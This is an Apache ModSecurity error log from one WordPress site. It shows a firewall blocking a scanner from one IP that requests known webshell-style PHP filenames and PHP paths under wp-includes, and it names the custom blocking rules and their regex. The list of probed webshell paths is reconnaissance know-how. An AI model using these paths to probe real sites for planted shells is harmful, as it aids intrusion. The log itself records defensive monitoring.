[Mon Dec 22 21:43:02.075792 2025] [:error] [pid 58078:tid 58104] [client 4.230.34.85:6031] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUlK5pWKg9Bf8njHlB5eWQAAABU"]
[Mon Dec 22 21:43:02.365587 2025] [:error] [pid 33472:tid 33513] [client 4.230.34.85:6143] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUlK5p5p2WQpPIK8HAlABgAAAYw"]
[Mon Dec 22 21:43:02.673229 2025] [:error] [pid 33535:tid 33551] [client 4.230.34.85:5944] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUlK5mOCI8D9Xtn-n7TPKQAAAc4"]
[Mon Dec 22 21:43:02.968093 2025] [:error] [pid 33471:tid 33494] [client 4.230.34.85:6033] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUlK5r5BeNE7regJ7ixVpQAAAVQ"]
[Mon Dec 22 21:43:03.279611 2025] [:error] [pid 33564:tid 33585] [client 4.230.34.85:5893] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aUlK5wSHeG6oLmMnKY7U1wAAAhI"]
[Mon Dec 22 21:43:03.574595 2025] [:error] [pid 33471:tid 33488] [client 4.230.34.85:5832] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aUlK575BeNE7regJ7ixVpgAAAU4"]
[Mon Dec 22 21:43:03.861705 2025] [:error] [pid 56155:tid 56223] [client 4.230.34.85:5936] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aUlK52G8a3wQucsuN67_WgAAA4E"]
[Mon Dec 22 21:43:04.153319 2025] [:error] [pid 56155:tid 56239] [client 4.230.34.85:6023] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aUlK6GG8a3wQucsuN67_WwAAA5E"]
[Mon Dec 22 21:43:04.439521 2025] [:error] [pid 58078:tid 58107] [client 4.230.34.85:5979] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aUlK6JWKg9Bf8njHlB5eXQAAABg"]
[Mon Dec 22 21:43:04.713377 2025] [:error] [pid 58078:tid 58089] [client 4.230.34.85:5978] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aUlK6JWKg9Bf8njHlB5eXgAAAAY"]
[Mon Dec 22 21:43:05.103954 2025] [:error] [pid 33564:tid 33587] [client 4.230.34.85:5949] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUlK6QSHeG6oLmMnKY7U2QAAAhQ"]
[Mon Dec 22 21:43:05.413258 2025] [:error] [pid 33472:tid 33522] [client 4.230.34.85:6007] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUlK6Z5p2WQpPIK8HAlADwAAAZU"]
[Mon Dec 22 21:43:05.708642 2025] [:error] [pid 33535:tid 33539] [client 4.230.34.85:6037] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUlK6WOCI8D9Xtn-n7TPKwAAAcI"]
[Mon Dec 22 21:43:06.029141 2025] [:error] [pid 58078:tid 58085] [client 4.230.34.85:5912] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aUlK6pWKg9Bf8njHlB5eYAAAAAI"]
[Mon Dec 22 21:43:06.372733 2025] [:error] [pid 33535:tid 33547] [client 4.230.34.85:5913] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aUlK6mOCI8D9Xtn-n7TPLgAAAco"]
[Mon Dec 22 21:43:06.727683 2025] [:error] [pid 33471:tid 33479] [client 4.230.34.85:11850] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aUlK6r5BeNE7regJ7ixVtAAAAUU"]
[Mon Dec 22 21:43:07.042293 2025] [:error] [pid 58078:tid 58095] [client 4.230.34.85:5907] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aUlK65WKg9Bf8njHlB5eYQAAAAw"]
[Mon Dec 22 21:43:07.341291 2025] [:error] [pid 58078:tid 58099] [client 4.230.34.85:6064] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aUlK65WKg9Bf8njHlB5eYwAAABA"]
[Mon Dec 22 21:43:07.627604 2025] [:error] [pid 33535:tid 33541] [client 4.230.34.85:5982] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aUlK62OCI8D9Xtn-n7TPMAAAAcQ"]
[Mon Dec 22 21:43:07.937249 2025] [:error] [pid 33564:tid 33590] [client 4.230.34.85:6012] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aUlK6wSHeG6oLmMnKY7U4QAAAhc"]
[Mon Dec 22 21:43:08.217601 2025] [:error] [pid 33564:tid 33583] [client 4.230.34.85:5970] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aUlK7ASHeG6oLmMnKY7U4wAAAhA"]
[Mon Dec 22 21:43:08.498889 2025] [:error] [pid 58078:tid 58101] [client 4.230.34.85:5886] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aUlK7JWKg9Bf8njHlB5eZQAAABI"]
[Mon Dec 22 21:43:08.793241 2025] [:error] [pid 33564:tid 33576] [client 4.230.34.85:5939] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aUlK7ASHeG6oLmMnKY7U5QAAAgk"]
[Mon Dec 22 21:43:09.138389 2025] [:error] [pid 58172:tid 58186] [client 4.230.34.85:6133] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aUlK7eSVKDT5jWOcnSUDxQAAAMw"]
[Mon Dec 22 21:43:09.439063 2025] [:error] [pid 33472:tid 33510] [client 4.230.34.85:5924] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aUlK7Z5p2WQpPIK8HAlAHAAAAYk"]
[Mon Dec 22 21:43:09.766046 2025] [:error] [pid 58172:tid 58176] [client 4.230.34.85:5994] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aUlK7eSVKDT5jWOcnSUDxgAAAMI"]
[Mon Dec 22 21:43:10.105578 2025] [:error] [pid 33564:tid 33581] [client 4.230.34.85:6074] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aUlK7gSHeG6oLmMnKY7U5gAAAg4"]
[Mon Dec 22 21:43:10.415354 2025] [:error] [pid 58172:tid 58175] [client 4.230.34.85:6013] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aUlK7uSVKDT5jWOcnSUDyAAAAME"]
[Mon Dec 22 21:43:10.697848 2025] [:error] [pid 58172:tid 58198] [client 4.230.34.85:5835] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aUlK7uSVKDT5jWOcnSUDyQAAANg"]
[Mon Dec 22 21:43:11.001446 2025] [:error] [pid 58172:tid 58174] [client 4.230.34.85:6043] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUlK7-SVKDT5jWOcnSUDygAAAMA"]
[Mon Dec 22 21:43:11.299522 2025] [:error] [pid 56155:tid 56225] [client 4.230.34.85:6042] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUlK72G8a3wQucsuN67_YQAAA4M"]
[Mon Dec 22 21:43:11.590675 2025] [:error] [pid 56044:tid 56048] [client 4.230.34.85:6015] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUlK7-60uUaieriJqP15cQAAAIA"]
[Mon Dec 22 21:43:11.866359 2025] [:error] [pid 58172:tid 58197] [client 4.230.34.85:5890] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUlK7-SVKDT5jWOcnSUDzAAAANc"]
[Mon Dec 22 21:43:12.258281 2025] [:error] [pid 33535:tid 33551] [client 4.230.34.85:5987] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aUlK8GOCI8D9Xtn-n7TPNAAAAc4"]
[Mon Dec 22 21:43:12.582493 2025] [:error] [pid 33535:tid 33558] [client 4.230.34.85:6003] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aUlK8GOCI8D9Xtn-n7TPNQAAAdU"]
[Mon Dec 22 21:43:12.872707 2025] [:error] [pid 58078:tid 58083] [client 4.230.34.85:5959] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aUlK8JWKg9Bf8njHlB5ecQAAAAA"]
[Mon Dec 22 21:43:13.156864 2025] [:error] [pid 33472:tid 33513] [client 4.230.34.85:5957] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aUlK8Z5p2WQpPIK8HAlAJgAAAYw"]
[Mon Dec 22 21:43:13.445278 2025] [:error] [pid 56155:tid 56229] [client 4.230.34.85:5955] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aUlK8WG8a3wQucsuN67_ZQAAA4c"]
[Mon Dec 22 21:43:13.763034 2025] [:error] [pid 58078:tid 58086] [client 4.230.34.85:5904] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aUlK8ZWKg9Bf8njHlB5edAAAAAM"]
[Mon Dec 22 21:43:14.095826 2025] [:error] [pid 58172:tid 58196] [client 4.230.34.85:5915] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aUlK8uSVKDT5jWOcnSUDzwAAANY"]
[Mon Dec 22 21:43:14.378063 2025] [:error] [pid 56080:tid 56144] [client 4.230.34.85:6049] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aUlK8pIHT3YJq9hjDc70TQAAAxQ"]
[Mon Dec 22 21:43:14.689146 2025] [:error] [pid 58172:tid 58190] [client 4.230.34.85:5937] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/333.php"] [unique_id "aUlK8uSVKDT5jWOcnSUD0AAAANA"]
[Mon Dec 22 21:43:14.975051 2025] [:error] [pid 58078:tid 58099] [client 4.230.34.85:6002] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/333.php"] [unique_id "aUlK8pWKg9Bf8njHlB5efgAAABA"]
[Mon Dec 22 21:44:22.037516 2025] [:error] [pid 33472:tid 33503] [client 4.230.34.85:5862] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aUlLNp5p2WQpPIK8HAlAXQAAAYI"]
[Mon Dec 22 21:44:22.329179 2025] [:error] [pid 33471:tid 33478] [client 4.230.34.85:5767] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aUlLNr5BeNE7regJ7ixV2gAAAUQ"]
[Mon Dec 22 21:44:22.616484 2025] [:error] [pid 58078:tid 58102] [client 4.230.34.85:5888] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aUlLNpWKg9Bf8njHlB5e1gAAABM"]
[Mon Dec 22 21:44:22.937629 2025] [:error] [pid 33472:tid 33509] [client 4.230.34.85:5836] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aUlLNp5p2WQpPIK8HAlAXwAAAYg"]
[Mon Dec 22 21:44:23.258489 2025] [:error] [pid 58172:tid 58190] [client 4.230.34.85:5953] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aUlLN-SVKDT5jWOcnSUECgAAANA"]
[Mon Dec 22 21:44:23.586951 2025] [:error] [pid 58078:tid 58095] [client 4.230.34.85:6008] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aUlLN5WKg9Bf8njHlB5e1wAAAAw"]
[Mon Dec 22 21:44:23.888329 2025] [:error] [pid 56155:tid 56234] [client 4.230.34.85:5925] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aUlLN2G8a3wQucsuN67_iwAAA4w"]
[Mon Dec 22 21:44:24.222507 2025] [:error] [pid 33471:tid 33489] [client 4.230.34.85:5989] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aUlLOL5BeNE7regJ7ixV2wAAAU8"]
[Mon Dec 22 21:44:24.527596 2025] [:error] [pid 33440:tid 33452] [client 4.230.34.85:6134] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUlLOJOsUWKqgxu6QTRBEAAAAQo"]
[Mon Dec 22 21:44:24.827998 2025] [:error] [pid 33472:tid 33519] [client 4.230.34.85:6010] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUlLOJ5p2WQpPIK8HAlAYgAAAZI"]
[Mon Dec 22 21:44:25.135667 2025] [:error] [pid 58172:tid 58182] [client 4.230.34.85:5849] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUlLOeSVKDT5jWOcnSUEDQAAAMg"]
[Mon Dec 22 21:44:25.420564 2025] [:error] [pid 33440:tid 33456] [client 4.230.34.85:5909] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUlLOZOsUWKqgxu6QTRBEQAAAQ4"]
[Mon Dec 22 21:44:25.715405 2025] [:error] [pid 33471:tid 33491] [client 4.230.34.85:5995] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUlLOb5BeNE7regJ7ixV3AAAAVE"]
